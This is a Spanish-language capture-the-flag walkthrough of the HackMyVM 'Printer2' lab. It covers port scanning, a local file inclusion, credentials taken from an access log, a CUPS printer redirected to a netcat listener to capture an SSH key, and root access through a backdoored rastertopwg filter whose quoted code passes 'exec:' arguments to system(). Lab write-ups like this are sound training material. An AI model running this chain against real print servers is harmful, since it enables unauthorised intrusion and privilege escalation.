HackMyVM - Printer2

logo

  • Leaked Credentials
  • Local File Inclusion
  • Abusing rastertopwg Binary

Escaneos de puertos

❯ nmap -p- -T5 -v -n 192.168.1.13

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
631/tcp open  ipp

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,631 192.168.1.13

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 dbf946e520816ceec72508ab2251366c (RSA)
|   256 33c09564294723dd864ee6b8073367ad (ECDSA)
|_  256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519)
80/tcp  open  http    Apache httpd 2.4.56 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Free Website Templates
|_http-server-header: Apache/2.4.56 (Debian)
631/tcp open  ipp     CUPS 2.3
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Home - CUPS 2.3.3op2
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: CUPS/2.3 IPP/2.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En el puerto 80 hay una simple web.

http

En el puerto 631 hay un servidor de impresión CUPS.

ipp

Miro la consola y encuentro un subdominio.

consoleSubdomain

Me voy al nuevo subdominio.

printer4life

Aplicando metodología básica obtengo un LFI.

lfiprinters4life

Realizo fuerza bruta de directorios.

❯ wfuzz -c -t 200 --hc=404 --hw=28 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt 'http://printer4life.printer.hmv/FUZZ'
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://printer4life.printer.hmv/FUZZ
Total requests: 63087

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                     
=====================================================================

000000400:   200        16 L     30 W       365 Ch      "."                                                                         
000000682:   200        298 L    2699 W     73881 Ch    "logo"                                                                      
000001893:   200        170 L    1200 W     32034 Ch    "hp"                                                                        
000016754:   200        181 L    1997 W     60719 Ch    "epson"                                                                     
000013822:   200        365 L    3449 W     96679 Ch    "canon"                                                                     
000029137:   200        443 L    3702 W     36623 Ch    "access_log"

Accedo al access_log hago una búsqueda de password y encuentro unas credenciales para la usuaria mabelle.

access_log

Me conecto al panel de administración de la impresora y selecciono AppSocket/HP JetDirect.

modificar_impresora

Añado mi dirección ip de mi máquina y dejo un netcat a la escucha.

socket5555

Recibo los impresión en la terminal y veo el nombre de una llave rsa.

❯ nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.15] 47780
12345X@PJL
@PJL JOB NAME = "private_ssh_key" DISPLAY = "1111 mabelle private_ssh_key"
@PJL SET USERNAME = "mabelle"
@PJL SET TRAY = ALL
@PJL SET DUPLEX=ON
@PJL SET BINDING=LONGEDGE
@PJL SET RENDERMODE=COLOR
@PJL SET DATAMODE=COLOR
@PJL SET FITTOPAGESIZE=A4
@PJL SET RESOLUTION=600
@PJL SET WIDEA4=NO
@PJL SET BORDERLINE=OFF
@PJL SET EDGETOEDGE=NO
@PJL SET JOBOFFSET=SHIFT
@PJL SET OUTBIN=FINISHERSHIFT
@PJL SET MEDIATYPE=PLAIN
@PJL SET STAPLE=OFF
@PJL SET PUNCH=OFF
@PJL SET NUP = 
@PJL SET NUPPAGEORDER = 
@PJL ENTER LANGUAGE = PDF
%PDF-1.3

Mediante el LFI que he encontrado anteriormente puedo leer la llave rsa de la usuaria mabelle.

ssh_private_key

Me conecto al sistema como usuaria mabelle.

❯ ssh -i private_ssh_key mabelle@192.168.1.13
Linux printer.hmv 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
mabelle@printer:~$ id
uid=1000(mabelle) gid=1000(mabelle) groups=1000(mabelle),1001(lpadmin)
mabelle@printer:~$

Enumero puertos internos y el puerto 1001 me llama la atención.

mabelle@printer:/tmp$ ss -ltun
Netid      State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port      Process      
                     
tcp        LISTEN      0           10                   127.0.0.1:1001                 0.0.0.0:*                      
tcp        LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*                      
tcp        LISTEN      0           128                    0.0.0.0:631                  0.0.0.0:*                      
tcp        LISTEN      0           511                          *:80                         *:*                      
tcp        LISTEN      0           128                       [::]:22                      [::]:*

Con netcat me conecto al puerto 1001 y me muestra lo siguiente.

mabelle@printer:~$ nc localhost 1001

I put a backdoor in a printer filter.

Filter name: 

Hago una búsqueda por filter y encuentro estas rutas.

mabelle@printer:/opt/cups-2.3.3/filter$ find / -name "filter" 2>/dev/null
/usr/lib/cups/filter
/opt/cups-2.3.3/filter

Primero me muevo a /opt/cups-2.3.3/filter y lanzo un ls para ver el contenido de la carpeta.

mabelle@printer:/opt/cups-2.3.3/filter$ ls -la
total 1144
drwxr-xr-x  2  501 staff   4096 Apr 22 10:32 .
drwxr-xr-x 26  501 staff   4096 Apr 16 12:47 ..
-rw-r--r--  1  501 staff  11541 Feb  6 19:34 commandtops.c
-rw-r--r--  1 root root   50488 Feb  6 19:34 commandtops.o
-rw-r--r--  1  501 staff  11613 Feb  6 19:34 common.c
-rw-r--r--  1  501 staff   1344 Feb  6 19:34 common.h
-rw-r--r--  1 root root   49312 Feb  6 19:34 common.o
-rw-r--r--  1  501 staff   2719 Feb  6 19:34 Dependencies
-rw-r--r--  1  501 staff   2038 Feb  6 19:34 gziptoany.c
-rw-r--r--  1 root root   17048 Feb  6 19:34 gziptoany.o
-rw-r--r--  1  501 staff   4053 Feb  6 19:34 Makefile
-rw-r--r--  1  501 staff   1295 Feb  6 19:34 postscript-driver.header
-rw-r--r--  1  501 staff  14701 Feb  6 19:34 postscript-driver.shtml
-rw-r--r--  1  501 staff   1275 Feb  6 19:34 ppd-compiler.header
-rw-r--r--  1  501 staff  36686 Feb  6 19:34 ppd-compiler.shtml
-rw-r--r--  1  501 staff  86511 Feb  6 19:34 pstops.c
-rw-r--r--  1 root root  233464 Feb  6 19:34 pstops.o
-rw-r--r--  1  501 staff   1232 Feb  6 19:34 raster-driver.header
-rw-r--r--  1  501 staff  11869 Feb  6 19:34 raster-driver.shtml
-rw-r--r--  1  501 staff  24526 Feb  6 19:34 rastertoepson.c
-rw-r--r--  1 root root  104192 Feb  6 19:34 rastertoepson.o
-rw-r--r--  1  501 staff  18977 Feb  6 19:34 rastertohp.c
-rw-r--r--  1 root root   94120 Feb  6 19:34 rastertohp.o
-rw-r--r--  1  501 staff  27170 Feb  6 19:34 rastertolabel.c
-rw-r--r--  1 root root  129552 Feb  6 19:34 rastertolabel.o
-rw-r--r--  1 root root   16862 Feb  6 19:34 rastertopwg.c
-rw-r--r--  1 root root   78152 Feb  6 19:34 rastertopwg.o
-rw-r--r--  1  501 staff   1346 Feb  6 19:34 spec-ppd.header
-rw-r--r--  1  501 staff  79306 Feb  6 19:34 spec-ppd.shtml

Uso el comando stat para obtener información detallada sobre los archivos con extensión .c.

mabelle@printer:/opt/cups-2.3.3/filter$ stat *.c
  File: commandtops.c
  Size: 11541     	Blocks: 24         IO Block: 4096   regular file
Device: 801h/2049d	Inode: 914160      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  501/ UNKNOWN)   Gid: (   50/   staff)
Access: 2023-05-20 03:00:51.741963018 +0200
Modify: 2023-02-06 19:34:59.988824776 +0100
Change: 2023-04-17 06:48:38.320179173 +0200
 Birth: 2023-04-16 12:17:49.030590662 +0200
  File: common.c
  Size: 11613     	Blocks: 24         IO Block: 4096   regular file
Device: 801h/2049d	Inode: 914148      Links: 1
Access: (0644/-rw-r--r--)  Uid: (  501/ UNKNOWN)   Gid: (   50/   staff)
Access: 2023-05-20 03:01:43.850202632 +0200
Modify: 2023-02-06 19:34:59.988824776 +0100
Change: 2023-04-17 06:48:38.320179173 +0200
 Birth: 2023-04-16 12:17:49.026590229 +0200

Ahora lanzo stat con los siguientes parámetros.

mabelle@printer:/opt/cups-2.3.3/filter$ stat -c "Filter: %n-20 %w" *.c
Filter: commandtops.c-20 2023-04-16 12:17:49.030590662 +0200
Filter: common.c-20 2023-04-16 12:17:49.026590229 +0200
Filter: gziptoany.c-20 2023-04-16 12:17:49.026590229 +0200
Filter: pstops.c-20 2023-04-16 12:17:49.030590662 +0200
Filter: rastertoepson.c-20 2023-04-16 12:17:49.034591094 +0200
Filter: rastertohp.c-20 2023-04-16 12:17:49.030590662 +0200
Filter: rastertolabel.c-20 2023-04-16 12:17:49.026590229 +0200
Filter: rastertopwg.c-20 2023-04-17 06:47:53.537110978 +0200
  • Opción -c para especificar el formato de salida personalizado.
  • Opción %n representa el nombre del archivo.
  • Opción %w representa la fecha de creación.
  • Opción *.c se le indica al comando stat que aplique el formato a todos los archivos con extensión .c.

Visualizo el contenido del archivo rastertopwg.c.

for (int i = 1; i < argc; i++) {
  if (strncmp(argv[i], "exec:", 5) == 0) {
    system(argv[i] + 5);
  }

En esta parte del código hay un bucle for que recorre los argumentos de línea de comandos. Para cada argumento, verifica si comienza con “exec:”. Si es así, ejecuta el comando.

Me voy al directorio /usr/lib/cups/filter que encontré anteriormente con find y lanzo el siguiente comando.

mabelle@printer:/usr/lib/cups/filter$ ./rastertopwg exec:id
uid=1000(mabelle) gid=1000(mabelle) groups=1000(mabelle),1001(lpadmin)
Usage: rastertopwg job user title copies options [filename]

Me conecto de nuevo al puerto 1001 y obtengo unas credenciales para el usuario kierra.

mabelle@printer:~$ nc localhost 1001

I put a backdoor in a printer filter.

Filter name: rastertopwg

You are awesome! Here is the password: w*********a

Uso las credenciales para pivotar de mabelle a kierra y enumero permisos de sudo.

kierra@printer:~$ sudo -l
[sudo] password for kierra: 
Matching Defaults entries for kierra on printer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kierra may run the following commands on printer:
    (ALL : ALL) /usr/lib/cups/filter/rastertopwg

Obtengo el root de la siguiente forma.

kierra@printer:~$ sudo /usr/lib/cups/filter/rastertopwg exec:bash
root@printer:/home/kierra# id
uid=0(root) gid=0(root) groups=0(root)

Y aquí termina Printer2.

Saludos!